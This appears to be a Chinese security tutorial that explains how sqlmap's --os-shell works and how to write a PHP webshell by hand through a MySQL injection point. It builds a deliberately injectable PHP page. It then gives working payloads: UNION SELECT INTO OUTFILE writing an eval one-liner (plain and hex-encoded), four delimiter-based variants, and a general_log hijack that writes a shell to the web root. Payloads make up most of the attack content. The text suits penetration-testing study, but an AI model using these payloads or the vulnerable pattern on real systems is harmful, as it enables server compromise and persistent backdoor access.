在工具化日益成熟的今天，手工注入的能力越来越被忽视了。当你掌握了一款工具的使用时，应更深入的去了解工具帮你做了什么，把工具所产生的影响控制在自己可控的范围内。

比如当面对一个`MySQL`注入点，通过使用`SQLmap`的`--os-shell`命令选项，便可轻松一键获取`Webshell`，但是非正常退出时，便会在网站目录中存留`SQLmap`临时上传的`Webshell`文件。

一个`MySQL`注入点写入`Webshell`，需要满足哪些条件呢？简单来说，需要了解secure_file_priv是否支持数据导出、当前数据库用户权限、获取web目录的物理路径。

```
A、MySQL用secure_file_priv这个配置项来完成对数据导入导出的限制。如果secure_file_priv=NULL，MySQL服务会禁止导入和导出操作。通过命令查看secure-file-priv`的当前值，确认是否允许导入导出以及到处文件路径。
show variables like ‘%secure_file_priv%’;

B、MySQL中root 用户拥有所有权限，但写入Webshell并不需要一定是root用户权限，比如数据库用户只要拥有FILE权限就可以执行 select into outfile操作。

C、当secure_file_priv文件导出路径与web目录路径重叠，写入Webshell才可以被访问到。
```

0x01 构造一个注入点

1、在默认数据库`test`中创建测试表admin和测试数据，新建test用户授予FILE权限。

```
create user 'test'@'localhost' identified by '123456';
grant file on *.* to 'test'@'localhost';
```

2、使用test用户连接

```
<?php
$con = mysql_connect("localhost","test","123456");
mysql_select_db("test", $con);
$id = $_REQUEST[ 'id' ];
$query  = "SELECT * FROM test.admin WHERE id = $id ";
$result = mysql_query($query);
......
```

0x02 写入WebShell的几种方式

1、利用Union select 写入

这是最常见的写入方式，union 跟select into outfile，将一句话写入`evil.php`，仅适用于联合注入。

具体权限要求：secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

```
?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'

?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into
outfile "E:/study/WWW/evil.php"
```

2、利用分隔符写入

当`Mysql`注入点为盲注或报错，Union select写入的方式显然是利用不了的，那么可以通过分隔符写入。`SQLMAP`的`--os-shell`命令，所采用的就是一下这种方式。

具体权限要求：secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

```
?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by
0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --
```

同样的技巧，一共有四种形式：

```
?id=1 INTO OUTFILE '物理路径' lines terminated by  (一句话hex编码)#

?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#

?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#

?id=1 INTO OUTFILE '物理路径' lines starting by    (一句话hex编码)#
```

3、利用log写入

新版本的`MySQL`设置了导出文件的路径，很难在获取`webshell`过程中去修改配置文件，无法通过使用select into outfile来写入一句话。这时，我们可以通过修改`MySQL`的`log`文件来获取`webshell`。

具体权限要求：数据库用户需具备`Super`和`File`服务器权限、获取物理路径。

```
show variables like '%general%';                          #查看配置
set global general_log = on;                              #开启general log模式
set global general_log_file = 'E:/study/WWW/evil.php';    #设置日志目录为shell地址
select '<?php eval($_GET[g]);?>'                        #写入shell
set global general_log=off;                               #关闭general log模式
```